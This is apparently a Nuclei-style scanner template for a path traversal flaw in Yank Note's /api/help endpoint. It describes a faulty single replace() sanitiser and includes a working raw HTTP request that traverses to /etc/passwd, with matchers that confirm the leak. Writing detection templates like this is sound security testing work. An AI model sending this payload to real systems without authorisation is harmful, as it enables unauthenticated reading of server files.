id: CVE-2026-111915

info:
  name: "Yank Note - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Yank Note before 3.93.1 exposes an unauthenticated arbitrary file read on the publicly
    allowlisted GET /api/help endpoint. The handler sanitises the path (and doc) query
    parameter with a single JavaScript String.replace('../','') call, which removes only the
    first traversal segment, so repeated ../ sequences still escape the help directory. This
    template requests /api/help with a traversal payload in the path parameter and confirms
    the contents of /etc/passwd are returned to an unauthenticated caller.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-111915&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=yank-note&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-111915
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2026,yank-note,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /api/help?path=../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: application/octet-stream

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200